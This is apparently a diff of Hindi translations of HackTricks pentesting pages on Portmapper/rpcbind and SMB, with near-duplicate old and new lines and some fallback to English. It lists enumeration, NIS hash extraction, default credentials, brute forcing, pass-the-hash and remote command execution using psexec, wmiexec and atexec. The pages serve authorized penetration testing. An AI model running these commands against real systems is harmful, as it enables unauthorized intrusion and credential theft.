**Portmapper** एक सेवा है जो नेटवर्क सेवा पोर्ट को **RPC** (Remote Procedure Call) प्रोग्राम नंबरों के साथ मैप करने के लिए उपयोग की जाती है। यह **Unix-आधारित सिस्टम** में एक महत्वपूर्ण घटक के रूप में कार्य करत है, इन सिस्टमों के बीच जानकारी के आदान-प्रदान को सुविधाजनक बनात है। **Portmapper** से संबंधित **port** अक्सर हमलावरों द्वारा स्कैन किया जाता है क्योंकि यह मूल्यवान जानकारी प्रकट कर सकता है। इस जानकारी में चल रहे **Unix Operating System (OS)** का प्रकार और सिस्टम पर उपलब्ध सेवाओं के बारे में विवरण शामिल है। इसके अतिरिक्त, **Portmapper** को आमतौर पर **NFS (Network File System)**, **NIS (Network Information Service)**, और अन्य **RPC-आधारित सेवाओं** के साथ मिलकर नेटवर्क सेवाओं को प्रभावी ढंग से प्रबंधित करने के लिए उपयोग किया जाता है।
**Portmapper** एक सेवा है जिसका उपय नेटवर्क सेवा पोर्ट को **RPC** (Remote Procedure Call) प्रोग्राम नंबरों से मैप करने के लिए किया जाता है। यह **Unix-based systems** में एक महत्वपूर्ण घटक के रूप में कार्य करत है, इन सिस्टमों के बीच जानकारी के आदान-प्रदान को सुविधाजनक बनात है। **Portmapper** से संबंधित **port** अक्सर हमलावरों द्वारा स्कैन किया जाता है क्योंकि यह मूल्यवान जानकारी प्रकट कर सकता है। इस जानकारी में चल रहे **Unix Operating System (OS)** का प्रकार और सिस्टम पर उपलब्ध सेवाओं के बारे में विवरण शामिल है। इसके अतिरिक्त, **Portmapper** को आमतौर पर **NFS (Network File System)**, **NIS (Network Information Service)**, और अन्य **RPC-based services** के साथ मिलकर नेटवर्क सेवाओं को प्रभावी ढंग से प्रबंधित करने के लिए उपयोग किया जाता है।
**Default port:** 111/TCP/UDP, 32771 in Oracle Solaris
```
PORT STATE SERVICE
111/tcp open rpcbind
```
## गणना
## Enumeration
```
rpcinfo irked.htb
nmap -sSUC -p111 192.168.10.1
@ -26,7 +26,7 @@ nmap -sSUC -p111 192.168.10.1
## RPCBind + NFS
यदि आप सेवा NFS पाते हैं, तो शायद आप फ़ाइलों को सूचीबद्ध और डाउनलोड (और शायद अपलोड) करने में सक्षम होंगे:
यदि आप सेवा NFS पाते हैं तो शायद आप फ़ाइलों को सूचीबद्ध और डाउनलोड (और शायद अपलोड) कर सकेंगे:
![](<../images/image (872).png>)
@ -40,7 +40,7 @@ nmap -sSUC -p111 192.168.10.1
खोज यात्रा आवश्यक पैकेजों की स्थापना से शुरू होती है (`apt-get install nis`)। अगला कदम `ypwhich` का उपयोग करना है ताकि डोमेन नाम और सर्वर IP के साथ इसे पिंग करके NIS सर्वर की उपस्थिति की पुष्टि की जा सके, यह सुनिश्चित करते हुए कि ये तत्व सुरक्षा के लिए गुमनाम हैं।
अंतिम और महत्वपूर्ण कदम `ypcat` कमांड का उपयोग करना है ताकि संवेदनशील डेटा, विशेष रूप से एन्क्रिप्टेड उपयोगकर्ता पासवर्ड निकाले जा सकें। ये हैश, **John the Ripper** जैसे उपकरणों का उपयोग करके क्रैक किए जाने पर, सिस्टम पहुंच और विशेषाधिकारों के बारे में जानकारी प्रकट करते हैं।
अंतिम और महत्वपूर्ण कदम `ypcat` कमांड का उपयोग करना है ताकि संवेदनशील डेटा, विशेष रूप से एन्क्रिप्टेड उपयोगकर्ता पासवर्ड निकाले जा सकें। ये हैश, जैसे **John the Ripper** जैसे उपकरणों का उपयोग करके क्रैक किए जाने पर, सिस्टम पहुंच और विशेषाधिकारों के बारे में जानकारी प्रकट करते हैं।
```bash
# Install NIS tools
apt-get install nis
@ -90,7 +90,7 @@ Description: Notes for PortMapper
Note: |
Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.
https://book.hacktricks.xyz/pentesting/pentesting-rpcbind
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html
Entry_2:
Name: rpc info

View File

@ -4,7 +4,7 @@
## **Port 139**
_**नेटवर्क बेसिक इनपुट आउटपुट सिस्टम**_** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, PCs और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और **नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) को "कॉल" करने के लिए एक कमांड जारी करता है, जो **TCP पोर्ट 139** का उपयोग करता है
_**नेटवर्क बेसिक इनपुट आउटपुट सिस्टम**_** (NetBIOS)** एक सॉफ़्टवेयर प्रोटोकॉल है जिसे स्थानीय क्षेत्र नेटवर्क (LAN) के भीतर अनुप्रयोगों, PCs और डेस्कटॉप को नेटवर्क हार्डवेयर के साथ बातचीत करने और **नेटवर्क के पार डेटा के संचरण को सुविधाजनक बनाने** के लिए डिज़ाइन किया गया है। NetBIOS नेटवर्क पर काम कर रहे सॉफ़्टवेयर अनुप्रयोगों की पहचान और स्थान उनके NetBIOS नामों के माध्यम से प्राप्त किया जाता है, जो 16 वर्णों तक लंबे हो सकते हैं और अक्सर कंप्यूटर नाम से भिन्न होते हैं। दो अनुप्रयोगों के बीच एक NetBIOS सत्र तब शुरू होता है जब एक अनुप्रयोग (जो क्लाइंट के रूप में कार्य करता है) "कॉल" करने के लिए एक आदेश जारी करता है दूसरे अनुप्रयोग (जो सर्वर के रूप में कार्य करता है) का उपयोग करते हुए **TCP Port 139**
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
@ -12,7 +12,7 @@ _**नेटवर्क बेसिक इनपुट आउटपुट स
तकनीकी रूप से, पोर्ट 139 को 'NBT over IP' के रूप में संदर्भित किया जाता है, जबकि पोर्ट 445 को 'SMB over IP' के रूप में पहचाना जाता है। संक्षेप में **SMB** का अर्थ है '**Server Message Blocks**', जिसे आधुनिक रूप से **Common Internet File System (CIFS)** के रूप में भी जाना जाता है। एक एप्लिकेशन-लेयर नेटवर्क प्रोटोकॉल के रूप में, SMB/CIFS मुख्य रूप से फ़ाइलों, प्रिंटरों, सीरियल पोर्ट्स तक साझा पहुंच सक्षम करने और नेटवर्क पर नोड्स के बीच विभिन्न प्रकार की संचार सुविधाओं के लिए उपयोग किया जाता है।
उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न सिस्टम पर, पोर्ट 139 का उपयोग देखा जाता है, जो यह संकेत करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
उदाहरण के लिए, Windows के संदर्भ में, यह उजागर किया गया है कि SMB सीधे TCP/IP पर कार्य कर सकता है, पोर्ट 445 के उपयोग के माध्यम से TCP/IP पर NetBIOS की आवश्यकता को समाप्त करता है। इसके विपरीत, विभिन्न सिस्टम पर, पोर्ट 139 का उपयोग देखा जाता है, जो इंगित करता है कि SMB TCP/IP पर NetBIOS के साथ मिलकर कार्यान्वित किया जा रहा है।
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
@ -20,11 +20,11 @@ _**नेटवर्क बेसिक इनपुट आउटपुट स
**सर्वर संदेश ब्लॉक (SMB)** प्रोटोकॉल, जो **क्लाइंट-सर्वर** मॉडल में कार्य करता है, **फाइलों**, निर्देशिकाओं, और प्रिंटर और राउटर जैसे अन्य नेटवर्क संसाधनों तक **पहुँच** को नियंत्रित करने के लिए डिज़ाइन किया गया है। मुख्य रूप से **Windows** ऑपरेटिंग सिस्टम श्रृंखला के भीतर उपयोग किया जाता है, SMB पिछड़े संगतता सुनिश्चित करता है, जिससे माइक्रोसॉफ्ट के ऑपरेटिंग सिस्टम के नए संस्करणों वाले उपकरण पुराने संस्करणों के साथ सहजता से बातचीत कर सकें। इसके अतिरिक्त, **Samba** प्रोजेक्ट एक मुफ्त सॉफ़्टवेयर समाधान प्रदान करता है, जो SMB के कार्यान्वयन को **Linux** और Unix सिस्टम पर सक्षम बनाता है, इस प्रकार SMB के माध्यम से क्रॉस-प्लेटफ़ॉर्म संचार को सुविधाजनक बनाता है।
शेयर, जो **स्थानीय फ़ाइल सिस्टम के मनमाने भागों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे क्लाइंट के लिए एक हद तक **स्वतंत्र** रूप से सर्वर की वास्तविक संरचना से दृश्यता मिलती है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
शेयर, जो **स्थानीय फ़ाइल सिस्टम के मनमाने हिस्सों** का प्रतिनिधित्व करते हैं, एक SMB सर्वर द्वारा प्रदान किए जा सकते हैं, जिससे एक क्लाइंट के लिए हायरार्की को सर्वर की वास्तविक संरचना से आंशिक रूप से **स्वतंत्र** रूप से देखा जा सकता है। **एक्सेस कंट्रोल लिस्ट (ACLs)**, जो **पहुँच अधिकार** को परिभाषित करती हैं, उपयोगकर्ता अनुमतियों पर **सूक्ष्म-नियंत्रण** की अनुमति देती हैं, जिसमें **`execute`**, **`read`**, और **`full access`** जैसे गुण शामिल हैं। ये अनुमतियाँ शेयर के आधार पर व्यक्तिगत उपयोगकर्ताओं या समूहों को सौंपे जा सकते हैं, और ये सर्वर पर सेट स्थानीय अनुमतियों से भिन्न होती हैं।
### IPC$ Share
IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, जो नामित पाइप के माध्यम से उजागर सेवाओं के साथ बातचीत की अनुमति देती है। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही ढंग से उपयोग करने पर, यह निम्नलिखित की अधिग्रहण की अनुमति देता है:
IPC$ शेयर तक पहुँच एक गुमनाम शून्य सत्र के माध्यम से प्राप्त की जा सकती है, जो नामित पाइप के माध्यम से उजागर सेवाओं के साथ बातचीत की अनुमति देती है। इस उद्देश्य के लिए उपयोगिता `enum4linux` उपयोगी है। सही तरीके से उपयोग करने पर, यह निम्नलिखित जानकारी प्राप्त करने में सक्षम बनाता है:
- ऑपरेटिंग सिस्टम की जानकारी
- माता-पिता डोमेन का विवरण
@ -36,11 +36,11 @@ IPC$ शेयर तक पहुँच एक गुमनाम शून्
```bash
enum4linux -a target_ip
```
उपरोक्त कमांड एक उदाहरण है कि कैसे `enum4linux` का उपयोग एक लक्षित `target_ip` के खिलाफ पूर्ण एन्यूमरेशन करने के लिए किया जा सकता है।
उपरोक्त कमांड एक उदाहरण है कि `enum4linux` का उपयोग `target_ip` द्वारा निर्दिष्ट लक्ष्य के खिलाफ पूर्ण एन्यूमरेशन करने के लिए कैसे किया जा सकता है।
## NTLM क्या है
यदि आप नहीं जानते कि NTLM क्या है या आप जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आप **NTLM** के बारे में इस पृष्ठ को बहुत दिलचस्प पाएंगे जहाँ **इस प्रोटोकॉल के काम करने का तरीका और आप इसका लाभ कैसे उठा सकते हैं, समझाया गया है:**
यदि आप नहीं जानते कि NTLM क्या है या आप जानना चाहते हैं कि यह कैसे काम करता है और इसका दुरुपयोग कैसे किया जा सकता है, तो आप इस पृष्ठ को बहुत दिलचस्प पाएंगे जो **NTLM** के बारे में है जहाँ **इस प्रोटोकॉल के काम करने का तरीका और आप इसका लाभ कैसे उठा सकते हैं, समझाया गया है:**
{{#ref}}
../windows-hardening/ntlm/
@ -54,7 +54,7 @@ nbtscan -r 192.168.0.1/24
```
### SMB सर्वर संस्करण
SMB संस्करण के लिए संभावित एक्सप्लॉइट्स की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग किया जा रहा है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
SMB संस्करण के लिए संभावित शोषणों की तलाश करने के लिए यह जानना महत्वपूर्ण है कि कौन सा संस्करण उपयोग किया जा रहा है। यदि यह जानकारी अन्य उपयोग किए गए उपकरणों में नहीं दिखाई देती है, तो आप:
- **MSF** सहायक मॉड्यूल \_**auxiliary/scanner/smb/smb_version** का उपयोग करें
- या यह स्क्रिप्ट:
@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **शोध शोषण**
### **खोज शोषण**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
@ -84,12 +84,12 @@ searchsploit microsoft smb
| **उपयोगकर्ता नाम(s)** | **सामान्य पासवर्ड** |
| -------------------- | ----------------------------------------- |
| _(खाली)_ | _(खाली)_ |
| अतिथि | _(खाली)_ |
| व्यवस्थापक, admin | _(खाली)_, पासवर्ड, व्यवस्थापक, admin |
| arcserve | arcserve, बैकअप |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, बैकअप | backupexec, बैकअप, arcada |
| परीक्षण, प्रयोगशाला, डेमो | पासवर्ड, परीक्षण, प्रयोगशाला, डेमो |
| गेस्ट | _(खाली)_ |
| व्यवस्थापक, एडमिन | _(खाली)_, पासवर्ड, व्यवस्थापक, एडमिन |
| आर्कसर्व | आर्कसर्व, बैकअप |
| टिवोली, टेमरसरव्ड | टिवोली, टेमरसरव्ड, एडमिन |
| बैकअपएक्सेक, बैकअप | बैकअपएक्सेक, बैकअप, आर्काडा |
| टेस्ट, लैब, डेमो | पासवर्ड, टेस्ट, लैब, डेमो |
### ब्रूट फोर्स
@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
### साझा फ़ोल्डरों की सूची
यह हमेशा अनुशंसित है कि आप देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो **null** **क्रेडेंशियल्स/अतिथि उपयोगकर्ता** का उपयोग करने की कोशिश करें।
यह हमेशा अनुशंसित है कि आप देखें कि क्या आप किसी चीज़ तक पहुँच सकते हैं, यदि आपके पास क्रेडेंशियल्स नहीं हैं तो **null** **क्रेडेंशियल्स/अतिथि उपयोगकर्ता** का उपयोग करने का प्रयास करें।
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **मैन्युअल रूप से विंडोज़ शेयरों की गणना करें और उनसे कनेक्ट करें**
यह संभव है कि आपको होस्ट मशीन के किसी भी शेयर को प्रदर्शित करने से प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं, तो ऐसा प्रतीत होता है कि कनेक्ट करने के लिए कोई शेयर नहीं हैं। इसलिए, एक शेयर से मैन्युअल रूप से कनेक्ट करने की कोशिश करना सार्थक हो सकता है। शेयरों की मैन्युअल गणना करने के लिए, आप NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसी प्रतिक्रियाओं की तलाश कर सकते हैं, जब आप एक मान्य सत्र (जैसे, नल सत्र या मान्य क्रेडेंशियल) का उपयोग कर रहे हों। ये यह संकेत कर सकते हैं कि शेयर मौजूद है और आपके पास इसका एक्सेस नहीं है या शेयर बिल्कुल मौजूद नहीं है।
यह संभव है कि आपको होस्ट मशीन के किसी भी शेयर को प्रदर्शित करने से प्रतिबंधित किया गया हो और जब आप उन्हें सूचीबद्ध करने की कोशिश करते हैं, तो ऐसा प्रतीत होता है कि कनेक्ट करने के लिए कोई शेयर नहीं हैं। इसलिए, एक शेयर से मैन्युअल रूप से कनेक्ट करने की कोशिश करना सार्थक हो सकता है। शेयरों की मैन्युअल गणना करने के लिए, आप NT_STATUS_ACCESS_DENIED और NT_STATUS_BAD_NETWORK_NAME जैसी प्रतिक्रियाओं की तलाश कर सकते हैं, जब आप एक मान्य सत्र का उपयोग कर रहे हों (जैसे, नल सत्र या मान्य क्रेडेंशियल)। ये यह संकेत कर सकते हैं कि शेयर मौजूद है और आपके पास इसका एक्सेस नहीं है या शेयर बिल्कुल मौजूद नहीं है।
विंडोज़ लक्ष्यों के लिए सामान्य शेयर नाम हैं
@ -210,14 +210,14 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
- SYSVOL
- NETLOGON
(_**नेटवर्क सुरक्षा आकलन 3री संस्करण**_ से सामान्य शेयर नाम)
(सामान्य शेयर नाम _**नेटवर्क सुरक्षा आकलन 3री संस्करण**_ से)
आप निम्नलिखित कमांड का उपयोग करके उनसे कनेक्ट करने की कोशिश कर सकते हैं
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
या स्क्रिप्ट (एक नल सत्र का उपयोग करते हुए)
या स्क्रिप्ट (एक शून्य सत्र का उपयोग करते हुए)
```bash
#/bin/bash
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **फाइलें डाउनलोड करें**
क्रेडेंशियल्स/पास-थ-हैश के साथ कनेक्ट करने के लिए पिछले अनुभाग पढ़ें।
क्रेडेंशियल्स/पास-थ-हैश के साथ कनेक्ट करने के लिए पिछले अनुभाग पढ़ें।
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -293,7 +293,7 @@ smbclient //<IP>/<share>
- mask: निर्दिष्ट करता है कि फ़ाइलों को फ़िल्टर करने के लिए कौन सा मास्क उपयोग किया जाता है (जैसे "" सभी फ़ाइलों के लिए)
- recurse: पुनरावृत्ति को चालू करता है (डिफ़ॉल्ट: बंद)
- prompt: फ़ाइल नामों के लिए संकेत को बंद करता है (डिफ़ॉल्ट: चालू)
- prompt: फ़ाइल नामों के लिए संकेत देने को बंद करता है (डिफ़ॉल्ट: चालू)
- mget: होस्ट से क्लाइंट मशीन पर मास्क से मेल खाने वाली सभी फ़ाइलों की कॉपी करता है
(_smbclient के मैनपेज से जानकारी_)
@ -310,11 +310,11 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
विशेष रूप से शेयरों में दिलचस्प फाइलें **`Registry.xml`** हैं क्योंकि वे **पासवर्ड** हो सकते हैं जो **autologon** के साथ **Group Policy** के माध्यम से कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए हैं। या **`web.config`** फाइलें क्योंकि वे क्रेडेंशियल्स रखती हैं।
विशेष रूप से शेयरों में **`Registry.xml`** नामक फ़ाइलें दिलचस्प हैं क्योंकि वे **autologon** के साथ कॉन्फ़िगर किए गए उपयोगकर्ताओं के लिए **पासवर्ड** रख सकती हैं। या **`web.config`** फाइलें क्योंकि वे क्रेडेंशियल्स रखती हैं।
> [!NOTE]
> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा जा सकता है**। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
> आपको इसके अंदर की **स्क्रिप्ट** की **जांच** करनी चाहिए क्योंकि आप **पासवर्ड** जैस संवेदनशील जानकारी **पाएंगे**
> **SYSVOL शेयर** सभी प्रमाणित उपयोगकर्ताओं द्वारा **पढ़ा** जा सकता है। वहाँ आप कई विभिन्न बैच, VBScript, और PowerShell **स्क्रिप्ट** **पाएंगे**।\
> आपको इसके अंदर की **स्क्रिप्ट** की **जांच** करनी चाहिए क्योंकि आप **पासवर्ड** जैस संवेदनशील जानकारी **पाएंगे**
## रजिस्ट्री पढ़ें
@ -324,28 +324,28 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## पोस्ट एक्सप्लॉइटेशन
## Post Exploitation
एक **Samba** सर्वर का **डिफ़ॉल्ट कॉन्फ़िग** आमतौर पर `/etc/samba/smb.conf` में स्थित होता है और इसमें कुछ **खतरनाक कॉन्फ़िग** हो सकते हैं:
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
| **सेटिंग** | **विवरण** |
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | क्या वर्तमान शेयर में उपलब्ध शेयरों की सूची बनाने की अनुमति है? |
| `read only = no` | क्या फ़ाइलों के निर्माण और संशोधन पर रोक लगाई जानी चाहिए? |
| `writable = yes` | क्या उपयोगकर्ताओं को फ़ाइलें बनाने और संशोधित करने की अनुमति है? |
| `guest ok = yes` | क्या बिना पासवर्ड का उपयोग किए सेवा से कनेक्ट करने की अनुमति है? |
| `enable privileges = yes` | क्या विशिष्ट SID को असाइन किए गए विशेषाधिकारों का सम्मान किया जाना चाहिए? |
| `read only = no` | फ़ाइलों के निर्माण और संशोधन को मना करें? |
| `writable = yes` | उपयोगकर्ताओं को फ़ाइलें बनाने और संशोधित करने की अनुमति दें? |
| `guest ok = yes` | बिना पासवर्ड का उपयोग किए सेवा से कनेक्ट करने की अनुमति दें? |
| `enable privileges = yes` | विशिष्ट SID को असाइन किए गए विशेषाधिकारों का सम्मान करें? |
| `create mask = 0777` | नए बनाए गए फ़ाइलों को कौन से अनुमतियाँ असाइन की जानी चाहिए? |
| `directory mask = 0777` | नए बनाए गए निर्देशिकाओं को कौन से अनुमतियाँ असाइन की जानी चाहिए? |
| `logon script = script.sh` | उपयोगकर्ता के लॉगिन पर कौन सा स्क्रिप्ट निष्पादित किया जाना चाहिए? |
| `magic script = script.sh` | स्क्रिप्ट बंद होने पर कौन सा स्क्रिप्ट निष्पादित किया जाना चाहिए? |
| `magic output = script.out` | जादुई स्क्रिप्ट का आउटपुट कहाँ संग्रहीत किया जाना चाहिए? |
कमांड `smbstatus` **सर्वर** और **कौन कनेक्टेड है** के बारे में जानकारी देता है।
The command `smbstatus` gives information about the **server** and about **who is connected**.
## केर्बेरोस का उपयोग करके प्रमाणीकरण करें
## Authenticate using Kerberos
आप **smbclient** और **rpcclient** उपकरणों का उपयोग करके **केर्बेरोस** में **प्रमाणीकरण** कर सकते हैं:
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com
### **crackmapexec**
crackmapexec किसी भी **mmcexec, smbexec, atexec, wmiexec** का **दुरुपयोग** करके कमांड निष्पादित कर सकता है, जिसमें **wmiexec** **डिफ़ॉल्ट** विधि है। आप पैरामीटर `--exec-method` के साथ यह संकेत कर सकते हैं कि आप कौन सा विकल्प उपयोग करना पसंद करते हैं:
crackmapexec किसी भी **mmcexec, smbexec, atexec, wmiexec** का **दुरुपयोग** करके कमांड निष्पादित कर सकता है, जिसमें **wmiexec** **डिफ़ॉल्ट** विधि है। आप पैरामीटर `--exec-method` के साथ अपनी पसंद की विकल्प को इंगित कर सकते हैं:
```bash
apt-get install crackmapexec
@ -378,8 +378,8 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
दोनों विकल्प **एक नई सेवा बनाएंगे** (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करते हुए) पीड़ित मशीन में और इसका उपयोग **कुछ निष्पादित करने** के लिए करेंगे (**psexec** **एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर पर **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फाइल-लेस तकनीक-**-)\
**अधिक जानकारी** [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md) और [**smbexec**](../windows-hardening/ntlm/smbexec.md) के बारे में।\
दोनों विकल्प **एक नई सेवा बनाएंगे** (SMB के माध्यम से _\pipe\svcctl_ का उपयोग करके) पीड़ित मशीन में और इसका उपयोग **कुछ निष्पादित करने** के लिए करेंगे (**psexec** एक निष्पादन योग्य फ़ाइल को ADMIN$ शेयर में **अपलोड** करेगा और **smbexec** **cmd.exe/powershell.exe** की ओर इशारा करेगा और तर्कों में पेलोड डालेगा --**फाइल-लेस तकनीक-**-).\
**अधिक जानकारी** के लिए [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)और [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
#If no password is provided, it will be prompted
@ -388,11 +388,11 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**पैरामीटर**`-k` का उपयोग करके आप **kerberos** के खिलाफ प्रमाणीकरण कर सकते हैं, बजाय **NTLM** के
**पैरामीटर**`-k` का उपयोग करके आप **kerberos** के खिलाफ प्रमाणीकरण कर सकते हैं, इसके बजाय **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
बिना डिस्क को छुए या नई सेवा चलाए **port 135** के माध्यम से DCOM का उपयोग करके चुपचाप एक कमांड शेल निष्पादित करें।\
बिना डिस्क को छुए या नई सेवा चलाए, **port 135** के माध्यम से DCOM का उपयोग करके चुपचाप एक कमांड शेल निष्पादित करें।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
#If no password is provided, it will be prompted
@ -400,7 +400,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
**पैरामीटर**`-k` का उपयोग करके आप **केरबोस** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के।
**पैरामीटर**`-k` का उपयोग करके आप **केरबेरोस** के खिलाफ प्रमाणीकरण कर सकते हैं बजाय **NTLM** के।
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
@ -409,19 +409,19 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
कमांड को टास्क शेड्यूलर के माध्यम से निष्पादित करें (SMB के माध्यम से _\pipe\atsvc_ का उपयोग करके)।\
कमांड को टास्क शेड्यूलर के माध्यम से निष्पादित करें (SMB के माध्यम से _\pipe\atsvc_ का उपयोग करते हुए)।\
**kali** में यह /usr/share/doc/python3-impacket/examples/ पर स्थित है।
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Impacket संदर्भ
## Impacket reference
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **ब्रूटफोर्स उपयोगकर्ता क्रेडेंशियल्स**
**यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत प्रयासों से अधिक हो जाते हैं तो आप एक खाता ब्लॉक कर सकते हैं**
**यह अनुशंसित नहीं है, यदि आप अधिकतम अनुमत प्रयासों को पार करते हैं तो आप एक खाता ब्लॉक कर सकते हैं**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
